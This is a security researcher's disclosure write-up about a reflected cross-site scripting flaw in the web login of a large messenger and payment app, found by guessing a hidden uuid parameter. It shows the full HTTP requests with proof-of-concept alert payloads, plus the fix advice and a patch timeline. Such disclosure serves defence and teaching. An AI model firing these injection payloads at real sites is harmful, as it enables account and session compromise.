POSTS
XSS in Large Messenger and Payment App - a Shout Out to Parameter Guessing
- 3 minutes read - 549 wordsThis is a post about a Cross-Site-Scripting (XSS) vulnerability that was identified within the web version of a large Chinese messenger and payment platform. The vulnerability could have been missed easily, as the vulnerable parameter was manually guessed.
Discovery
Recently, I was researching in the context of login flows, when I stumbled over the following interesting request and response:
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https%3A%2F%2Fweb.redacted.com%2Fcgi-bin%2Fmmwebwx-bin%2Fwebwxnewloginpage&fun=new&lang=en_GB&_=1617048847643 HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 64
window.QRLogin.code = 200; window.QRLogin.uuid = "Ia1oZupJlg==";
Without thinking too much, I went ahead and fiddled around with the present GET
parameters.
As using the present parameters nothing too interesting was observed, I had a closer look at the actual response. What if it was possible to modify the values that are assigned to window.QRLogin.code
or window.QRLogin.uuid
? Appending a uuid
parameter yielded quite surprising results! The value of this parameter was indeed reflected within the response of the application, Bingo!
At first I chose to inject arbitrary JavaScript as the response obviously holds JavaScript code. The following approach did work straightaway:
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https%3A%2F%2Fweb.redacted.com%2Fcgi-bin%2Fmmwebwx-bin%2Fwebwxnewloginpage&fun=new&lang=en_GB&_=1617048184077&uuid=test123%22%3b%20alert(1)%3b%20var%20a%20%3d%20%22 HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 61
window.QRLogin.code = 200; window.QRLogin.uuid = "test123"; alert(1); var a = "";
But this would most likely not leads to anything useful, as to perform a XSS attack with this behavior, a victim site would have to embed the script with a malicious GET parameter.
Did you notice that there are two Content-Type
headers present within the application’s response? As the latter header uses the text/html
MIME type, what would happen if we inject HTML instead of JavaScript?
The next test I performed was the following:
GET /jslogin?appid=wx782c26e4c19acffb&redirect_uri=https%3A%2F%2Fweb.redacted.com%2Fcgi-bin%2Fmmwebwx-bin%2Fwebwxnewloginpage&fun=new&lang=en_GB&_=1617048184077&uuid=%22<script>alert(document.domain)</script> HTTP/1.1
Host: login.web.redacted.com
Referer: https://web.redacted.com/
[...]
HTTP/1.1 200 OK
Connection: close
Content-Type: text/javascript
Content-Type: text/html; charset=gbk
Cache-Control: no-cache, must-revalidate
Strict-Transport-Security: max-age=31536000
Content-Length: 92
window.QRLogin.code = 200; window.QRLogin.uuid = ""<script>alert(document.domain)</script>";
Or in short: Link.
And if this website is then browsed using a current Chrome, the injected JavaScript is executed:
Recommendation
For mitigating this issue, it was recommended to sanitize and/or encode user controlled contents in a context-aware manner. Apparently, the uuid
should be independently chosen by the application, therefore, it should be ignored if a uuid
parameter is present within the request.
Tooling: Param Miner
Even though I was lucky to guess a valid hidden parameter, there are tools out there that automate this. One famous Burp Suite extension for this is the Param Miner by James Kettle.
After reporting the issue to the vendor, I was wondering whether the Param Miner might have found the hidden parameter, too. A quick search within the GitHub Repo leads to the following entry in Param Miner’s word list: https://github.com/PortSwigger/param-miner/blob/master/resources/params#L1379.
As the uuid
parameter is in the word list, the Param Miner would have found this issue, too.
Responsible Disclosure
- 2021-03-30: Initial report to vendor via Security Response Center.
- 2021-03-31: The vulnerability is confirmed by vendor.
- 2021-04-02: The applied patch is confirmed to fix the vulnerability.
References
- Parm Miner Burp Suite Extension: https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943
Thank you for reading this post! If you have any feedback, feel free to reach out via Mastodon, Twitter or LinkedIn. 🙂
You can directly tweet about this post using this link. 🤓